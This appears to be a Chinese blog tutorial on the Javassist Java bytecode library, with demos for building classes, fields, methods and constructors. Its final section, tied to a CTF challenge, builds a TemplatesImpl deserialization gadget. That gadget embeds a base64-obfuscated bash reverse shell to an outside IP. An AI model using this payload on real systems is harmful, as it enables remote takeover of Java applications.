java基础-javassist


可能有人感觉自己写在博客上的java跨度太大了,其实是因为大多数的java笔记都写在本地上了。。。今天来点基础的

Javassist

javassist是在java中编辑字节码的类库,它能够动态地定义一个新类,然后在JVM加载的时候修改类文件。它的原理和反射类似,但是开销相对较低

常用的api/类

ClassPool

通过ClassPool来创建一个类。

  • ClassPool.getDefault()

返回一个默认的ClassPool,一般取变量名为pool

  • appendClassPath,insertClassPath

将一个ClassPath加载到类搜索路径的末尾位置,通过此方法写入额外的类搜索路径,避免在多个类加载器中找不到类

  • getCtClassget

通过类路径名获取到该类的CtClass对象(获取类对象,常用于superClass,也就是类的继承上)

  • makeClass(常用)

创建一个新的类

常用的创建类的方法就是这样:

1
2
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");

CtClass

  • freeze:冻结一个类,使其不可被修改
  • isFrozen:判断一个类是否被冻结
  • deforst:解冻一个类,使其可以被修改。如果一个类要被deforst,则会禁止调用prune方法
  • prune:删除类不必要的属性,以减少内存占用,慎用此方法,因为调用之后会导致许多方法无法正常使用
  • detach:删除class
  • writeFile:根据生成的class,将class写入到.class文件内
  • toClass:通过类加载器加载Class

CtMethod

  • insertBefore:在方法的起始位置插入代码
  • insertAfter:在方法的所有return语句前插入代码
  • insertAt:在指定位置插入代码
  • setBody:将方法的内容设置为要写入的代码,当方法被Abstract修饰的时候,该修饰符会被移除
  • make:创建一个新的方法

CtConstructor

创建类的构造方法:

1
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
  • setBody:构造方法内写入代码

  • addConstructor:将构造方法写入类中

实例

创建一个Hello类

1
2
3
4
5
6
7
8
public class Demo1 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.makeClass("Javassist.Hello");
ctClass.writeFile();
}
}

这样会将这个类生成到Javassist/Hello.class

往Hello类中添加属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.JavassistDemo;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.Modifier;

public class Demo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Javassist.Hello");

CtField nameField = new CtField(pool.get("java.lang.String"), "name", ctClass);//获取到String name
nameField.setModifiers(Modifier.PUBLIC);//设置为public属性
ctClass.addField(nameField, CtField.Initializer.constant("Err0r233"));//初始化赋值为Err0r233
//或者ctClass.addField(name,"name=\"Err0r233\"");

ctClass.writeFile();
}
}

往Hello类中添加方法

设置返回类型:

1
2
3
4
5
6
7
8
9
public static CtClass booleanType;
public static CtClass charType;
public static CtClass byteType;
public static CtClass shortType;
public static CtClass intType;
public static CtClass longType;
public static CtClass floatType;
public static CtClass doubleType;
public static CtClass voidType;

发现其实并不支持String类型。所以如果要返回String类型,需要设置成pool.getCtClass("java.lang.String")

设置空方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.JavassistDemo;

import javassist.*;

public class Demo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Javassist.Hello");

CtField nameField = new CtField(pool.get("java.lang.String"), "name", ctClass);//获取到String name
nameField.setModifiers(Modifier.PUBLIC);//设置为public属性
ctClass.addField(nameField, CtField.Initializer.constant("Err0r233"));//初始化赋值为Err0r233
//或者ctClass.addField(name,"name=\"Err0r233\"");

CtMethod method = new CtMethod(CtClass.voidType, "MyHello",new CtClass[]{CtClass.intType}, ctClass);//设置方法为 MyHello(int var)
method.setModifiers(Modifier.PUBLIC);//设置为public
ctClass.addMethod(method);//写入到class内

ctClass.writeFile();
}
}

添加方法体:

1
method.setBody("System.out.println(\"This is test !\");");

前置插入和后置插入(可以拿setBody做比较):

1
2
3
method.setBody("System.out.println(\"This is test !\");");
method.insertAfter("System.out.println(\"Insert after! var1 = \" + $1);");
method.insertBefore("System.out.println(\"This is insert before! \");");

注意,如果想要调用传入的var1,可以使用$i符号,其中i=1

可以看到insertBefore的在test语句前面,而after的在test后面,而且成功输出了var1的值

往Hello类中添加构造函数

设置构造函数:

1
2
3
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);//无参构造方法
constructor.setBody("{name=\"Err0r233\";}");
ctClass.addConstructor(constructor);

设置了无参构造器

有参构造器设置如下:

1
2
3
CtConstructor constructor1 = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, ctClass);//有参构造方法:Hello(String var1)
constructor1.setBody("{$0.name = $1;}");//这里的 $0 相当于this
ctClass.addConstructor(constructor1);

修改已有的类

通过Classpool的get方法来获得已有的一个类,并且进行修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package Javassist;

import javassist.*;

import java.io.IOException;

public class Demo02 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get("Javassist.Test");
CtConstructor test = ctClass.getConstructors()[0];
test.setBody("{System.out.println(\"Changing......\");}");
ctClass.writeFile();
}

}
class Test {
public static String name = "aaa";

public Test() {
System.out.println("This is test !");
}
}

其实就是获取了一个Test类,然后将其的构造方法修改了

加载字节码

通过ctClass.toBytecode()

还有ctClass.toClass().newInstane()

常用修饰符

1
2
3
4
5
6
$0,$1,$2,$3...
$0代表this,其他的分别代表var1,var2...其实就是犯法参数的顺序

$args 一个Object数组,数组内是var1,var2....

$$,所有的方法参数,例如m($$)相当于m($1, $2, ...)

expr.MethodCall和ConstructorCall

通过MethodCall来找到对应关键字的方法

这里可以看S1nJa师傅的博客

我觉得这两个挺少用到的,所以就不展开了

Java基础—Javassist-CSDN博客

利用javassist缩短payload

在做D3CTF的shorter的时候发现了问题,如果利用TemplatesImpl加载字节码的话payload会很长(利用EqualsBean来缩短的时候也有3300左右)

所以这个时候动态加载字节码就派上用场了,发现动态加载TemplatesImpl会让payload缩短到1500:

1
2
3
4
5
6
7
8
9
10
11
//生成字节码:
private static byte[] GenerateEvil() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}
1
2
3
4
5
6
7
8
9
//利用反射修改_bytecodes,_name和_tfactory
private static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}